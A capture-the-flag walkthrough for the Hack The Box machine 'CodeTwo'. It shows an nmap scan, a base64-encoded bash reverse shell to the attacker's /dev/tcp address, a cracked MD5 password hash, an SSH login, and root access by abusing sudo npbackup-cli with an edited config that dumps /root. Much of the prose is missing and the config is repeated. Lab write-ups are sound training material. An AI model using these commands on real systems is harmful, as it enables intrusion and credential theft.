HTB CodeTwo Writeup (Walkthrough)
Introduction
This is a detailed walkthrough for the “CodeTwo” machine on Hack The Box. The target is a Linux system running a Python Code Editor web application vulnerable to database query exposure and privilege escalation via a misconfigured backup script.
Enumeration
Port Scanning
1
nmap -sC -sV -oN codetwo/codetwo 10.10.11.82
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[/mnt/hgfs/VMShare/CodeTwo]
└─$ nmap -sC -sV -Pn -oA codetwo 10.10.11.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-28 14:24 EDT
Nmap scan report for codetwo.htb (10.10.11.82)
Host is up (0.057s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodeTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.03 seconds
Open Ports:
- 22/tcp OpenSSH 8.2p1
- 8000/tcp Gunicorn (Python web app)
┌──(venv)─(kali㉿kali)-[/mnt/hgfs/VMShare/CodeTwo/app] └─$ echo -n “(bash >& /dev/tcp/10.10.14.83/4444 0>&1) & “ | base64 KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuODMvNDQ0NCAwPiYxKSAmIA==
cat hash.txt 1|marco|649c9d65a206a75f5abe509fe128bce5
┌──(kali㉿kali)-[~/Downloads] └─$ john –show –format=raw-md5 hashes.txt ?:sweetangelbabylove
1 password hash cracked, 0 left
┌──(kali㉿kali)-[~/Downloads] └─$ ssh [email protected] The authenticity of host ‘10.10.11.82 (10.10.11.82)’ can’t be established. ED25519 key fingerprint is SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added ‘10.10.11.82’ (ED25519) to the list of known hosts. [email protected]’s password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
- Documentation: https://help.ubuntu.com
- Management: https://landscape.canonical.com
- Support: https://ubuntu.com/pro
System information as of Thu 28 Aug 2025 07:27:14 PM UTC
System load: 0.0 Processes: 262 Usage of /: 64.4% of 5.08GB Users logged in: 1 Memory usage: 36% IPv4 address for eth0: 10.10.11.82 Swap usage: 0%
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Aug 28 19:27:17 2025 from 10.10.14.83 marco@codetwo:~$ ls backups npbackup.conf user.txt marco@codetwo:~$ cat user.txt b6ca8872a81e2191f39e0280201f458f
marco@codetwo:/usr/local/bin$ /usr/local/bin/npbackup-cli –help usage: npbackup-cli [-h] [-c CONFIG_FILE] [–repo-name REPO_NAME] [–repo-group REPO_GROUP] [-b] [-f] [-r RESTORE] [-s] [–ls [LS]] [–find FIND] [–forget FORGET] [–policy] [–housekeeping] [–quick-check] [–full-check] [–check CHECK] [–prune [PRUNE]] [–prune-max] [–unlock] [–repair-index] [–repair-packs REPAIR_PACKS] [–repair-snapshots] [–repair REPAIR] [–recover] [–list LIST] [–dump DUMP] [–stats [STATS]] [–raw RAW] [–init] [–has-recent-snapshot] [–restore-includes RESTORE_INCLUDES] [–snapshot-id SNAPSHOT_ID] [–json] [–stdin] [–stdin-filename STDIN_FILENAME] [-v] [-V] [–dry-run] [–no-cache] [–license] [–auto-upgrade] [–log-file LOG_FILE] [–show-config] [–external-backend-binary EXTERNAL_BACKEND_BINARY] [–group-operation GROUP_OPERATION] [–create-key CREATE_KEY] [–create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK] [–create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK] [–check-config-file]
Portable Network Backup Client This program is distributed under the GNU General Public License and comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions; Please type –license for more info.
optional arguments: -h, –help show this help message and exit -c CONFIG_FILE, –config-file CONFIG_FILE Path to alternative configuration file (defaults to current dir/npbackup.conf) –repo-name REPO_NAME Name of the repository to work with. Defaults to ‘default’. This can also be a comma separated list of repo names. Can accept special name ‘all’ to work with all repositories. –repo-group REPO_GROUP Comme separated list of groups to work with. Can accept special name ‘all’ to work with all repositories. -b, –backup Run a backup -f, –force Force running a backup regardless of existing backups age -r RESTORE, –restore RESTORE Restore to path given by –restore, add –snapshot-id to specify a snapshot other than latest -s, –snapshots Show current snapshots –ls [LS] Show content given snapshot. When no snapshot id is given, latest is used –find FIND Find full path of given file / directory –forget FORGET Forget given snapshot (accepts comma separated list of snapshots) –policy Apply retention policy to snapshots (forget snapshots) –housekeeping Run –check quick, –policy and –prune in one go –quick-check Deprecated in favor of –‘check quick’. Quick check repository –full-check Deprecated in favor of ‘–check full’. Full check repository (read all data) –check CHECK Checks the repository. Valid arguments are ‘quick’ (metadata check) and ‘full’ (metadata + data check) –prune [PRUNE] Prune data in repository, also accepts max parameter in order prune reclaiming maximum space –prune-max Deprecated in favor of –prune max –unlock Unlock repository –repair-index Deprecated in favor of ‘–repair index’.Repair repo index –repair-packs REPAIR_PACKS Deprecated in favor of ‘–repair packs’. Repair repo packs ids given by –repair-packs –repair-snapshots Deprecated in favor of ‘–repair snapshots’.Repair repo snapshots –repair REPAIR Repair the repository. Valid arguments are ‘index’, ‘snapshots’, or ‘packs’ –recover Recover lost repo snapshots –list LIST Show [blobs|packs|index|snapshots|keys|locks] objects –dump DUMP Dump a specific file to stdout (full path given by –ls), use with –dump [file], add –snapshot-id to specify a snapshot other than latest –stats [STATS] Get repository statistics. If snapshot id is given, only snapshot statistics will be shown. You may also pass “–mode raw-data” or “–mode debug” (with double quotes) to get full repo statistics –raw RAW Run raw command against backend. Use with –raw “my raw backend command” –init Manually initialize a repo (is done automatically on first backup) –has-recent-snapshot Check if a recent snapshot exists –restore-includes RESTORE_INCLUDES Restore only paths within include path, comma separated list accepted –snapshot-id SNAPSHOT_ID Choose which snapshot to use. Defaults to latest –json Run in JSON API mode. Nothing else than JSON will be printed to stdout –stdin Backup using data from stdin input –stdin-filename STDIN_FILENAME Alternate filename for stdin, defaults to ‘stdin.data’ -v, –verbose Show verbose output -V, –version Show program version –dry-run Run operations in test mode, no actual modifications –no-cache Run operations without cache –license Show license –auto-upgrade Auto upgrade NPBackup –log-file LOG_FILE Optional path for logfile –show-config Show full inherited configuration for current repo. Optionally you can set NPBACKUP_MANAGER_PASSWORD env variable for more details. –external-backend-binary EXTERNAL_BACKEND_BINARY Full path to alternative external backend binary –group-operation GROUP_OPERATION Deprecated command to launch operations on multiple repositories. Not needed anymore. Replaced by –repo-name x,y or –repo-group x,y –create-key CREATE_KEY Create a new encryption key, requires a file path –create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK Create a scheduled backup task, specify an argument interval via interval=minutes, or hour=hour,minute=minute for a daily task –create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK Create a scheduled housekeeping task, specify hour=hour,minute=minute for a daily task –check-config-file Check if config file is valid
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
cat npbackup.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
groups:
default_group:
backup_opts:
paths: []
source_type:
stdin_from_command:
stdin_filename:
tags: []
compression: auto
use_fs_snapshot: true
ignore_cloud_files: true
one_file_system: false
priority: low
exclude_caches: true
excludes_case_ignore: false
exclude_files:
- excludes/generic_excluded_extensions
- excludes/generic_excludes
- excludes/windows_excludes
- excludes/linux_excludes
exclude_patterns: []
exclude_files_larger_than:
additional_parameters:
additional_backup_only_parameters:
minimum_backup_size_error: 10 MiB
pre_exec_commands: []
pre_exec_per_command_timeout: 3600
pre_exec_failure_is_fatal: false
post_exec_commands: []
post_exec_per_command_timeout: 3600
post_exec_failure_is_fatal: false
post_exec_execute_even_on_backup_error: true
post_backup_housekeeping_percent_chance: 0
post_backup_housekeeping_interval: 0
repo_opts:
repo_password:
repo_password_command:
minimum_backup_age: 1440
upload_speed: 800 Mib
download_speed: 0 Mib
backend_connections: 0
retention_policy:
last: 3
hourly: 72
daily: 30
weekly: 4
monthly: 12
yearly: 3
tags: []
keep_within: true
group_by_host: true
group_by_tags: true
group_by_paths: false
ntp_server:
prune_max_unused: 0 B
prune_max_repack_size:
prometheus:
backup_job: ${MACHINE_ID}
group: ${MACHINE_GROUP}
env:
env_variables: {}
encrypted_env_variables: {}
is_protected: false
identity:
machine_id: ${HOSTNAME}__blw0
machine_group:
global_prometheus:
metrics: false
instance: ${MACHINE_ID}
destination:
http_username:
http_password:
additional_labels: {}
no_cert_verify: false
global_options:
auto_upgrade: false
auto_upgrade_percent_chance: 5
auto_upgrade_interval: 15
auto_upgrade_server_url:
auto_upgrade_server_username:
auto_upgrade_server_password:
auto_upgrade_host_identity: ${MACHINE_ID}
auto_upgrade_group: ${MACHINE_GROUP}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
marco@codetwo:~$ cat npbackup.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /root
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
groups:
default_group:
backup_opts:
paths: []
source_type:
stdin_from_command:
stdin_filename:
tags: []
compression: auto
use_fs_snapshot: true
ignore_cloud_files: true
one_file_system: false
priority: low
exclude_caches: true
excludes_case_ignore: false
exclude_files:
- excludes/generic_excluded_extensions
- excludes/generic_excludes
- excludes/windows_excludes
- excludes/linux_excludes
exclude_patterns: []
exclude_files_larger_than:
additional_parameters:
additional_backup_only_parameters:
minimum_backup_size_error: 10 MiB
pre_exec_commands: []
pre_exec_per_command_timeout: 3600
pre_exec_failure_is_fatal: false
post_exec_commands: []
post_exec_per_command_timeout: 3600
post_exec_failure_is_fatal: false
post_exec_execute_even_on_backup_error: true
post_backup_housekeeping_percent_chance: 0
post_backup_housekeeping_interval: 0
repo_opts:
repo_password:
repo_password_command:
minimum_backup_age: 1440
upload_speed: 800 Mib
download_speed: 0 Mib
backend_connections: 0
retention_policy:
last: 3
hourly: 72
daily: 30
weekly: 4
monthly: 12
yearly: 3
tags: []
keep_within: true
group_by_host: true
group_by_tags: true
group_by_paths: false
ntp_server:
prune_max_unused: 0 B
prune_max_repack_size:
prometheus:
backup_job: ${MACHINE_ID}
group: ${MACHINE_GROUP}
env:
env_variables: {}
encrypted_env_variables: {}
is_protected: false
identity:
machine_id: ${HOSTNAME}__blw0
machine_group:
global_prometheus:
metrics: false
instance: ${MACHINE_ID}
destination:
http_username:
http_password:
additional_labels: {}
no_cert_verify: false
global_options:
auto_upgrade: false
auto_upgrade_percent_chance: 5
auto_upgrade_interval: 15
auto_upgrade_server_url:
auto_upgrade_server_username:
auto_upgrade_server_password:
auto_upgrade_host_identity: ${MACHINE_ID}
auto_upgrade_group: ${MACHINE_GROUP}
1
sudo npbackup-cli -c npbackup.conf -b -f
1
sudo npbackup-cli -c npbackup.conf -f --dump /root/root.txt
Done!
Hi there 👋 Support me!
Life is an echo—what you send out comes back.

